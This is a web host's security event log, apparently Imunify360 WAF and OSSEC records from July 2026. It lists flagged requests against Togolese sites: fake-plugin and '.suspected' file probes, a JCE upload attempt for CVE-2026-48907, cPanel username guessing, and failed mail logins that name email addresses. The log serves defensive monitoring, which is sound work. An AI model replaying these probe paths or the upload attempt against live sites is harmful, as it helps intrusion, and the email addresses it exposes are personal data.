abuser: 64.89.163.64
country_id: 6252001
domain: butodra.tg
description:
IM360 WAF: Block .suspected files||RSV:8.22||T:APACHE||MVN:REQUEST_FILENAME||MV:/plugins/content/apismtp/apismtp.php.suspected||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 64.89.163.64
country_id: 6252001
domain: butodra.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/apikey/apikey.php?test=hello||WPU:||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.31.154.232
country_id: 1210997
domain: www.vitrinenews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.vitrinenews.tg/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.31.154.232
country_id: 1210997
domain: www.vitrinenews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.vitrinenews.tghttp/www.vitrinenews.tg/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 19:06:08 +0000] info [cpaneld] 157.85.210.56 - tiyasuxe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tiyasuxe (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.236.88.82
country_id: 2750405
domain: macite.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/macite.tg/2024/12/19/declaration-annuelle-des-salaires-das-via-diama-lotr-lance-des-formations-au-profit-de/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.220.12.80
country_id: 6252001
description:
2026-07-01 19:07:42 dovecot_plain authenticator failed for H=(6i9m00hwfnk1jgfn) [192.220.12.80]:55256: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 19:14:36 +0000] info [cpaneld] 157.85.210.56 - contact "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user contact (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 19:15:18 +0000] info [cpaneld] 157.85.210.56 - tresorerie "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tresorerie (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.152.28.227
country_id: 3469034
description:
Jul  1 19:16:06 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.152.28.227 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.188.160.2
country_id: 3923057
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/renforcer-lacces-a-lelectricite-au-togo-250-000-personnes-concernees-grace-a-un-nouveau-financement/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.188.160.2
country_id: 3923057
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/renforcer-lacces-a-lelectricite-au-togo-250-000-personnes-concernees-grace-a-un-nouveau-financement/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.253
country_id: 2510769
description:
Jul  1 19:18:52 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.253 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 16.148.126.102
country_id: 6252001
description:
16.148.126.102 - - [01/Jul/2026:19:18:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066330&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252Facf2d8c858075b0500387330fbe3e107%252Fea425e05eea2788cc063ebda30164563%252F0e3d26786953aa33eaa79d2011a94992%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782933501 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/acf2d8c858075b0500387330fbe3e107/ea425e05eea2788cc063ebda30164563/0e3d26786953aa33eaa79d2011a94992/index.php?cmd=login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.7871.46 Safari/537.36 Edge/18.19582" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:16.148.126.102


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.194.193
country_id: 2363686
description:
[2026-07-01 19:19:18 +0000] info [webmaild] 196.168.194.193 - chef.dgi@ucao-uut.tg "POST /cpsess2980363719/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.53.231.124
country_id: 1168579
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?cat=5 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 217.154.185.101
country_id: 2510769
domain: www.togosem.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.243.47.57
country_id: 298795
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/category/nos-partenaires/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 199.96.166.153
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:199.96.166.153||TA:199.96.166.153||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.189.145.155
country_id: 337996
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=140 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.201.126.233
country_id: 290291
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=58 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.253
country_id: 2510769
description:
Jul  1 19:19:05 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.253 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [01/Jul/2026:19:19:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908614&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782933556 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 117.207.2.226
country_id: 1269750
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?feed=rss2&tag=cgerep HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.237.88.202
country_id: 3573591
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=2029 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.120.41
country_id: 1512440
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1163 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.169.100.248
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?cat=53&paged=2 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.194.193
country_id: 2363686
description:
[2026-07-01 19:20:18 +0000] info [webmaild] 196.168.194.193 - chef.dgi@ucao-uut.tg "POST /cpsess2980363719/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.194.193
country_id: 2363686
description:
[2026-07-01 19:21:18 +0000] info [webmaild] 196.168.194.193 - chef.dgi@ucao-uut.tg "POST /cpsess2980363719/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.191
country_id: 1880251
description:
47.128.96.191 - - [01/Jul/2026:19:21:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9881964&pdata=https%253A%252F%252Ftdn.tg%252Frentree-scolaire-togo-defis-parents%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782933714 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/rentree-scolaire-togo-defis-parents/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.191


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 19:22:14 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 195.28.188.22
country_id: 174982
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/pillage-de-sepultures-trois-suspects-interpelles/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 195.28.188.22
country_id: 174982
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/pillage-de-sepultures-trois-suspects-interpelles/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 134.122.204.28
country_id: 1861060
domain: pnls.tg
name:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)

description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-5980.xml.php||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 95.215.0.144
country_id: 2017370
description:
95.215.0.144 - - [01/Jul/2026:19:24:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9880674&pdata=https%253A%252F%252Fworldinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782933859 HTTP/2.0" 302 0 worldinfo.tg "https://worldinfo.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:95.215.0.144


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 140.235.169.223
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:140.235.169.223||TA:140.235.169.223||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.223.3.190
country_id: 1269750
description:
Jul  1 19:25:58 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.223.3.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.223.3.190
country_id: 1269750
description:
Jul  1 19:26:05 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.223.3.190 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.5
country_id: 6252001
description:
205.169.39.5 - - [01/Jul/2026:19:26:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9936027&pdata=http%253A%252F%252Fwww.sproca.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782933965 HTTP/1.1" 302 0 www.sproca.tg "http://www.sproca.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.5


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.203.44.28
country_id: 192950
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-3-trafiquants-de-41-perroquets-gris-a-queue-rouge-condamnes/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.57.254
country_id: 6252001
domain: www.letabloid.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:152.232.57.254||TA:152.232.57.254||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.203.44.28
country_id: 192950
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-3-trafiquants-de-41-perroquets-gris-a-queue-rouge-condamnes/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.95.207.100
country_id: 99237
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/product/show/warsteiner HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.57.99.125
country_id: 290557
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/crise-du-golfe-afreximbank-protege-les-economies-africaines-et-caribeennes/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.57.99.125
country_id: 290557
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/crise-du-golfe-afreximbank-protege-les-economies-africaines-et-caribeennes/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jul  1 19:29:47 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.190.230.216
country_id: 2750405
description:
[2026-07-01 19:29:02 +0000] info [cpaneld] 146.190.230.216 - emt "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user emt (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 19:29:09 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.42.245.63
country_id: 6252001
description:
[2026-07-01 19:30:34 +0000] info [cpaneld] 193.42.245.63 - techno "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user techno (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.35.225.197
country_id: 3996063
description:
2026-07-01 19:37:39 dovecot_login authenticator failed for H=(tacambaro.tecnm.mx) [38.35.225.197]:58154: 535 Incorrect authentication data (set_id=kevin.k@cafe.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.34.145.27
country_id: 1168579
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/24.jpeg HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.7.205.78
country_id: 2635167
domain: fbafrica.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fbafrica.com/media-press-requests/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 19:40:40 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 19:42:17 +0000] info [cpaneld] 157.85.210.56 - stephane "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user stephane (has_cpuser_file failed)


